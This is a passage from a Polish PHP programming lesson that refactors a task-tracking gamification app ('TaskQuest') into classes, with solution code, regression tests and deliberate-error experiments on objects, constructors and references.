<li>W prezentacji login, imię, łączne XP i streak czytaj z obiektu.</li>
</ol>



<p class="wp-block-paragraph"><strong>Efekt:</strong> strona wygląda <strong>identycznie</strong> jak przed tym krokiem. Brak ostrzeżeń <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined variable</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Po zmianie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> nie ma już zmiennych <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code> — przeniosły się do obiektu jako właściwości o <strong>tych samych nazwach</strong>. Jeśli PHP zgłasza <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined variable $xp</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, to znaczy, że gdzieś w prezentacji zostało stare odwołanie. Pasek postępu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$liczbaAktywnychSegmentow</code>) i próg (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$progNastepnegoPoziomu</code>) liczą się dalej z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$procentPostepu</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom</code> — nic w nich nie zmieniasz.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">Pliki aplikacji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
// ... pliki z includes/ bez zmian ...
</code></pre>



<p class="wp-block-paragraph">Dane użytkownika (zamiast dwóch dotychczasowych bloków):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- użytkownik: dane z sesji + symulowane dane grywalizacji ---
$uzytkownik = new Uzytkownik(
    login: $_SESSION&#91;'login'],
    imieUzytkownika: $_SESSION&#91;'imie'],
    xp: 99,
    streak: 5,
    dataOstatniejAktywnosci: '2026-09-14'
);
</code></pre>



<p class="wp-block-paragraph">Grywalizacja:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- wywołania metod: grywalizacja ---
$poziom = $uzytkownik-&gt;pobierzPoziom();
$tytul = $uzytkownik-&gt;pobierzTytulGracza();
$xpWAktualnymPoziomie = $uzytkownik-&gt;pobierzXpWAktualnymPoziomie();
$procentPostepu = $uzytkownik-&gt;pobierzProcentPostepu();
$brakujeXp = $uzytkownik-&gt;pobierzBrakujaceXp();
</code></pre>



<p class="wp-block-paragraph">Streak (pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane = ...</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane);
</code></pre>



<p class="wp-block-paragraph">Prezentacja (tylko zmienione linie):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;Zalogowano jako &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzLogin(); ?&gt;&lt;/strong&gt;&lt;/p&gt;
        ...
        &lt;h2&gt;Witaj, &lt;?= $uzytkownik-&gt;pobierzImie(); ?&gt;!&lt;/h2&gt;
        ...
        &lt;p&gt;Łączne XP: &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzXp(); ?&gt;&lt;/strong&gt;&lt;/p&gt;
        ...
        &lt;p&gt;Streak: &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzStreak(); ?&gt;&lt;/strong&gt;&lt;/p&gt;
</code></pre>



<p class="wp-block-paragraph"><strong>Dlaczego usuwamy luźne zmienne?</strong> Gdyby zostały, ta sama informacja byłaby w dwóch miejscach: np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code> (5) i streak w obiekcie (po <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> — inny). Wystarczy, że ktoś wyświetli nie tę wersję, i strona pokazuje nieaktualny streak (sprawdzisz to w Eksperymencie 6). Jedno źródło prawdy o użytkowniku = obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code> i reszta zostają jako zmienne — to <strong>wyniki</strong> policzone raz, do wyświetlenia, a nie dane, które coś zmienia.</p>



<p class="wp-block-paragraph"><strong>Dlaczego nie zapisujemy całego obiektu w sesji?</strong> Można, ale wtedy klasa musiałaby być dołączona <strong>przed</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> w każdym pliku, a XP i streak i tak są na razie symulowane. Prościej: w sesji zostają <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code>, a obiekt budujemy przy każdym żądaniu.</p>
</details>



<h1 class="wp-block-heading">7. Testy</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> testy 1–3 w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code>, jak w poprzednich lekcjach), testy 4–6 w przeglądarce, na prawdziwej aplikacji (zalogowana/zalogowany). Przed każdym uruchomieniem <strong>przewidź</strong> wynik.</p>



<h2 class="wp-block-heading">Test 1 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> na granicach</h2>



<p class="wp-block-paragraph">Daty liczymy od dzisiaj, żeby test dawał ten sam wynik niezależnie od dnia, w którym go uruchamiasz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';

$wczoraj = new DateTime('yesterday');
$dzisiaj = new DateTime('today');
$jutro = new DateTime('tomorrow');

$przypadki = &#91;
    &#91;'niewykonane, termin wczoraj', $wczoraj-&gt;format('Y-m-d'), false],
    &#91;'niewykonane, termin dzisiaj', $dzisiaj-&gt;format('Y-m-d'), false],
    &#91;'niewykonane, termin jutro', $jutro-&gt;format('Y-m-d'), false],
    &#91;'wykonane, termin wczoraj', $wczoraj-&gt;format('Y-m-d'), true],
    &#91;'niewykonane, termin 2020-01-01', '2020-01-01', false],
];

foreach ($przypadki as $przypadek) {
    $zadanie = new Zadanie(
        id: 1,
        tytul: 'Test',
        opis: '',
        termin: $przypadek&#91;1],
        wykonane: $przypadek&#91;2],
        xp: 10
    );

    echo "&lt;p&gt;" . $przypadek&#91;0] . ": " . ($zadanie-&gt;czyPoTerminie() ? "po terminie" : "w terminie") . "&lt;/p&gt;";
}

$zadanie = new Zadanie(id: 2, tytul: 'Zaległe', opis: '', termin: '2020-01-01', wykonane: false, xp: 10);
$zadanie-&gt;oznaczJakoWykonane();
echo "&lt;p&gt;Zaległe po wykonaniu: " . ($zadanie-&gt;czyPoTerminie() ? "po terminie" : "w terminie") . "&lt;/p&gt;";</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Przypadek</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td>niewykonane, termin wczoraj</td><td>po terminie</td></tr><tr><td>niewykonane, termin dzisiaj</td><td>w terminie</td></tr><tr><td>niewykonane, termin jutro</td><td>w terminie</td></tr><tr><td>wykonane, termin wczoraj</td><td>w terminie</td></tr><tr><td>niewykonane, termin 2020-01-01</td><td>po terminie</td></tr><tr><td>zaległe po <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code></td><td>w terminie</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Ostatni wiersz pokazuje, że metody jednego obiektu współpracują: <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code> zmienia stan, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> od razu to „widzi”.</p>



<h2 class="wp-block-heading">Test 2 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> liczy tak samo jak funkcje</h2>



<p class="wp-block-paragraph">Metody użytkownika mają dawać <strong>dokładnie te same wyniki</strong> co funkcje z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_grywalizacji.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_terminow.php</code> — przecież je wywołują. Najpierw <strong>przewidź</strong> (na podstawie tego, jak działa Twoja <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code>), jaki poziom i ile brakujących XP wyjdzie dla każdego XP z listy — szczególnie dla wartości granicznych 99/100 i 199/200. Potem uruchom:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';

foreach (&#91;0, 1, 99, 100, 199, 200, 250] as $xp) {
    $uzytkownik = new Uzytkownik(
        login: 'Test_1',
        imieUzytkownika: 'Test',
        xp: $xp,
        streak: 0,
        dataOstatniejAktywnosci: '2026-09-14'
    );

    $poziom = obliczPoziom($xp);
    $xpWPoziomie = obliczXpWAktualnymPoziomie($xp, $poziom);

    $zgodne = $uzytkownik-&gt;pobierzPoziom() === $poziom
        &amp;&amp; $uzytkownik-&gt;pobierzTytulGracza() === pobierzTytul($poziom)
        &amp;&amp; $uzytkownik-&gt;pobierzXpWAktualnymPoziomie() === $xpWPoziomie
        &amp;&amp; $uzytkownik-&gt;pobierzProcentPostepu() === obliczProcentPostepu($xpWPoziomie)
        &amp;&amp; $uzytkownik-&gt;pobierzBrakujaceXp() === ileBrakujeXp($xp, $poziom);

    echo "&lt;p&gt;XP $xp: poziom " . $uzytkownik-&gt;pobierzPoziom()
        . ", brakuje " . $uzytkownik-&gt;pobierzBrakujaceXp() . " XP — "
        . ($zgodne ? "OK" : "BŁĄD") . "&lt;/p&gt;";
}

$dzisiaj = new DateTime('today');
$wczoraj = new DateTime('yesterday');
$przedwczoraj = new DateTime('-2 days');
$daty = &#91;$dzisiaj-&gt;format('Y-m-d'), $wczoraj-&gt;format('Y-m-d'), $przedwczoraj-&gt;format('Y-m-d')];

foreach ($daty as $data) {
    foreach (&#91;true, false] as $zadanieWykonane) {
        $uzytkownik = new Uzytkownik(
            login: 'Test_1',
            imieUzytkownika: 'Test',
            xp: 0,
            streak: 5,
            dataOstatniejAktywnosci: $data
        );

        $uzytkownik-&gt;aktualizujStreak($zadanieWykonane);
        $oczekiwany = aktualizujStreak(5, $data, $zadanieWykonane);

        echo "&lt;p&gt;$data, " . ($zadanieWykonane ? "wykonane" : "niewykonane") . ": streak "
            . $uzytkownik-&gt;pobierzStreak() . " — "
            . ($uzytkownik-&gt;pobierzStreak() === $oczekiwany ? "OK" : "BŁĄD") . "&lt;/p&gt;";
    }
}</code></pre>



<p class="wp-block-paragraph"><strong>Oczekiwane:</strong> we wszystkich 13 liniach <code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code>. Poziomy i brakujące XP — zgodne z Twoimi przewidywaniami. Jeśli gdzieś jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD</code>, metoda nie przekazuje funkcji właściwych danych (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;streak</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code>) albo w <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> brakuje zapisu do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;streak</code>.</p>



<p class="wp-block-paragraph">Dlaczego testujemy „metoda = funkcja”, a nie wpisujemy wyników na sztywno? Bo funkcje zostały przetestowane w poprzednich lekcjach. Metoda niczego nowego nie liczy — ma tylko poprawnie podać dane. Taki test nazywa się <strong>testem regresji</strong>: sprawdza, czy po przebudowie wynik się nie zmienił.</p>



<h2 class="wp-block-heading">Test 3 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';

$uzytkownik = new Uzytkownik(login: 'Test_1', imieUzytkownika: 'Test', xp: 99, streak: 0, dataOstatniejAktywnosci: '2026-09-14');
$uzytkownik-&gt;dodajXp(30);
echo "&lt;p&gt;Po +30: " . $uzytkownik-&gt;pobierzXp() . "&lt;/p&gt;";
$uzytkownik-&gt;dodajXp(1);
echo "&lt;p&gt;Po +1: " . $uzytkownik-&gt;pobierzXp() . "&lt;/p&gt;";

foreach (&#91;0, -50] as $ile) {
    try {
        $uzytkownik-&gt;dodajXp($ile);
        echo "&lt;p&gt;Dodano $ile XP&lt;/p&gt;";
    } catch (Exception $wyjatek) {
        echo "&lt;p&gt;Dla $ile: " . $wyjatek-&gt;getMessage() . "&lt;/p&gt;";
    }
}

echo "&lt;p&gt;Na końcu: " . $uzytkownik-&gt;pobierzXp() . " XP&lt;/p&gt;";</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Linia</th><th>Oczekiwane</th></tr></thead><tbody><tr><td>Po +30</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">129</code></td></tr><tr><td>Po +1</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">130</code></td></tr><tr><td>Dla 0</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Liczba XP do dodania musi być większa od zera.</code></td></tr><tr><td>Dla -50</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Liczba XP do dodania musi być większa od zera.</code></td></tr><tr><td>Na końcu</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">130 XP</code> — nieudane wywołania <strong>niczego nie zmieniły</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Żadne „Dodano 0 XP” ani „Dodano -50 XP” nie może się pojawić: wyjątek przerywa metodę, zanim zmieni <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code>, i przerywa też <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> przed linią z <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code>.</p>



<h2 class="wp-block-heading">Test 4 — aplikacja działa jak po Lekcji 14</h2>



<p class="wp-block-paragraph">W przeglądarce, na oryginalnym pliku zadań:</p>



<ol class="wp-block-list">
<li>Strona główna: liczniki (wszystkie / wykonane / aktywne), XP do zdobycia, komunikat o awansie i najpilniejsze zadanie — <strong>takie same</strong> jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja14/</code> uruchomionym tego samego dnia.</li>



<li>Widoki „wszystkie”, „aktywne”, „wykonane” pokazują właściwe zadania, posortowane wg terminu; widok nadal jest pamiętany w ciasteczku.</li>



<li>Dodaj dwa zadania z formularza. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>: nowe linie mają <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> o 1 i o 2 większe od największego wcześniejszego, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, format taki sam jak starszych linii.</li>



<li>Formularz z błędami (pusty tytuł, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>) — nadal lista błędów, nic nie trafia do pliku.</li>



<li>Test awarii z Lekcji 12: zmień nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> → na stronie głównej czerwona ramka „Nie udało się wczytać zadań: &#8230;”, reszta strony (poziom, XP, streak) działa. Przywróć nazwę.</li>



<li>Test pustej listy: plik z samym nagłówkiem → „Brak zadań.”, liczniki <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, brak błędów. Przywróć plik.</li>
</ol>



<h2 class="wp-block-heading">Test 5 — wyróżnienie zadań po terminie</h2>



<ol class="wp-block-list">
<li>Dodaj przez formularz trzy zadania: „Termin wczoraj”, „Termin dziś”, „Termin jutro” (daty ustaw odpowiednio — formularz pozwala na datę z przeszłości).</li>



<li>Czerwoną ramkę ma <strong>tylko</strong> „Termin wczoraj” (oraz starsze niewykonane zadania, jeśli są).</li>



<li>W edytorze kodu zmień w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> zadania „Termin wczoraj” na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>. Po odświeżeniu: zadanie jest wykonane (<code class="prettyprint lang-sql" style="font-size: 0.85em;">[X]</code>, styl wykonanego zadania) i <strong>nie ma</strong> czerwonej ramki.</li>



<li>Widok „wykonane” nie pokazuje żadnej czerwonej ramki.</li>
</ol>



<h2 class="wp-block-heading">Test 6 — regresja i diagnostyka</h2>



<p class="wp-block-paragraph">Porównaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/index.php</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja14/index.php</code> <strong>tego samego dnia</strong>, na tym samym pliku zadań. Różnice mogą być tylko takie:</p>



<ul class="wp-block-list">
<li>czerwone ramki przy niewykonanych zadaniach po terminie,</li>



<li>wersja w stopce <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.4</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.5</code>.</li>
</ul>



<p class="wp-block-paragraph">Powitanie, login, poziom, tytuł, łączne XP, pasek, próg, brakujące XP, <strong>streak</strong> — identyczne. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: <strong>17 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong> oraz w przeglądzie katalogów nowy katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes</code> z dwoma plikami <code class="prettyprint lang-sql" style="font-size: 0.85em;">.php</code>.</p>



<h2 class="wp-block-heading">Sprzątanie</h2>



<p class="wp-block-paragraph">Gdy testy przeszły <strong>i wykonasz eksperymenty z sekcji 8</strong>:</p>



<ol class="wp-block-list">
<li>usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (i ewentualne inne brudnopisy),</li>



<li>przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> z kopii albo zostaw zadania, które chcesz mieć,</li>



<li>sprawdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>.</li>
</ol>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> przy każdym eksperymencie jest napisane, w jakim pliku go wykonać. Po każdym <strong>przywróć kod</strong> do stanu z sekcji 4–6.</p>



<h3 class="wp-block-heading">Eksperyment 1: prywatne znaczy prywatne</h3>



<p class="wp-block-paragraph"><strong>Brudnopis.</strong> Utwórz dowolne zadanie (jak w sekcji 4) i dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;xp = 1000;</code></pre>



<p class="wp-block-paragraph">Przeczytaj komunikat: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error: Cannot access private property Zadanie::$xp</code> (w różnych wersjach PHP treść może się nieznacznie różnić — ważne, że skrypt się zatrzymuje). Porównaj z sekcją 2: w tablicy Ola ustawiła <code class="prettyprint lang-sql" style="font-size: 0.85em;">-500</code> i <strong>nic się nie stało</strong>. Tu pomyłka kończy się od razu, w linii, która ją popełniła.</p>



<p class="wp-block-paragraph">Zamień tę linię na <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;oznaczJakoWykonane();</code> — działa. Obiekt nie zabrania wszystkiego: pozwala na to, co ma sens w TaskQuest.</p>



<p class="wp-block-paragraph">Pytanie: czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">try { ... } catch (Exception $wyjatek) { ... }</code> złapałoby ten błąd? Sprawdź. (Nie — to <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>. To błąd programisty, a nie awaria, którą aplikacja ma obsłużyć — trzeba poprawić kod. O rodzinie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> więcej w Lekcji 23.)</p>



<h3 class="wp-block-heading">Eksperyment 2: zapomniane <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code></h3>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code>.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code> zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $this-&gt;xp;</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $xp;</code>. Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<p class="wp-block-paragraph">Dostajesz <strong>dwa</strong> komunikaty:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Undefined variable $xp in ...\classes\Zadanie.php on line ...
Fatal error: Uncaught TypeError: Zadanie::pobierzXp(): Return value must be of type int, null returned</code></pre>



<p class="wp-block-paragraph">Wyjaśnij oba. (Wewnątrz metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> to zwykła zmienna lokalna — nie istnieje, więc ma wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Metoda obiecała zwrócić <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> — typ zwracany wyłapał problem.) Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;</code>.</p>



<h3 class="wp-block-heading">Eksperyment 3: konstruktor, który o czymś zapomniał</h3>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code>.</strong> W konstruktorze zakomentuj linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;opis = $opis;</code>. Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Error: Typed property Zadanie::$opis must not be accessed before initialization</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę, <strong>gdzie</strong> jest błąd: nie przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code>, tylko dopiero przy pierwszym <strong>odczycie</strong> opisu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzOpis()</code> w pętli na stronie głównej). Obiekt powstał niekompletny. Dlatego konstruktor ma ustawiać <strong>każdą</strong> właściwość. Przywróć linię.</p>



<h3 class="wp-block-heading">Eksperyment 4: kolejność argumentów</h3>



<p class="wp-block-paragraph"><strong>Brudnopis.</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';

// pomyłka 1: zamienione id i xp (oba int)
$pierwsze = new Zadanie(20, 'Test', 'Opis zadania', '2026-10-01', false, 1);
echo "&lt;p&gt;id: " . $pierwsze-&gt;pobierzId() . ", xp: " . $pierwsze-&gt;pobierzXp() . "&lt;/p&gt;";

// pomyłka 2: zamienione opis i termin (oba string)
$drugie = new Zadanie(1, 'Test', '2026-10-01', 'Opis zadania', false, 20);
echo "&lt;p&gt;termin: " . $drugie-&gt;pobierzTermin() . "&lt;/p&gt;";
var_dump($drugie-&gt;czyPoTerminie());</code></pre>



<p class="wp-block-paragraph">Pomyłka 1: <strong>żadnego błędu</strong> — zadanie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 20 i nagrodę 1 XP. Nikt tego nie zauważy, dopóki nie zabraknie komuś punktów. Pomyłka 2: obiekt powstaje bez protestu (termin to „jakiś tekst”), a błąd wybucha dopiero w <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> nie umie odczytać daty z napisu <code class="prettyprint lang-sql" style="font-size: 0.85em;">Opis zadania</code> (wyjątek <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateMalformedStringException</code> w PHP 8.3+, zwykły <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> w starszych wersjach).</p>



<p class="wp-block-paragraph">Teraz przepisz oba wywołania na argumenty nazwane, <strong>celowo w pomieszanej kolejności</strong>, np.:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pierwsze = new Zadanie(xp: 20, id: 1, tytul: 'Test', opis: 'Opis zadania', termin: '2026-10-01', wykonane: false);</code></pre>



<p class="wp-block-paragraph">Wszystko trafia na swoje miejsce. Dlatego w TaskQuest obiekty z wieloma parametrami tworzymy przez argumenty nazwane.</p>



<h3 class="wp-block-heading">Eksperyment 5: obiekt to nie kopia</h3>



<p class="wp-block-paragraph"><strong>Brudnopis.</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';

$zadania = wczytajZadania(PLIK_ZADAN);
$aktywneZadania = pobierzAktywneZadania($zadania);

echo "&lt;p&gt;Wykonane przed: " . count(pobierzWykonaneZadania($zadania)) . "&lt;/p&gt;";

foreach ($aktywneZadania as $zadanie) {
    $zadanie-&gt;oznaczJakoWykonane();
}

echo "&lt;p&gt;Wykonane po: " . count(pobierzWykonaneZadania($zadania)) . "&lt;/p&gt;";</code></pre>



<p class="wp-block-paragraph">Przewidź: czy zmiana zadań z <strong>odfiltrowanej</strong> tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$aktywneZadania</code> zmieni coś w <strong>oryginalnej</strong> tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code>?</p>



<p class="wp-block-paragraph">Zmienia! Po pętli wszystkie zadania w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> są wykonane. <code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code> zrobiło nową <strong>tablicę</strong>, ale nie nowe <strong>obiekty</strong> — obie tablice wskazują te same obiekty. Zmienna z obiektem działa jak numerek w szatni z Lekcji 14: kopiujesz numerek, a kurtka jest jedna. Z tablicami tablic (Lekcja 14) było inaczej — każda tablica miała własną kopię danych.</p>



<p class="wp-block-paragraph">Sprawdź też <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> — <strong>nic się nie zmieniło</strong>. Obiekty żyją w pamięci tylko do końca skryptu; do pliku trafia to, co przekażemy do <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>.</p>



<p class="wp-block-paragraph">To zachowanie bywa wygodne (zadanie końcowe A: znajdujesz obiekt na liście, oznaczasz go i zapisujesz całą listę) i bywa pułapką (zmieniasz „kopię”, a zmienia się oryginał). Jeśli naprawdę potrzebujesz niezależnej kopii obiektu, służy do tego <code class="prettyprint lang-sql" style="font-size: 0.85em;">clone</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$kopia = clone $zadanie;</code>.</p>



<h3 class="wp-block-heading">Eksperyment 6: metoda, która nie zapisała wyniku</h3>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;streak = </code> (zostaw samo wywołanie funkcji). Uruchom <strong>Test 2</strong> z sekcji 7.</p>



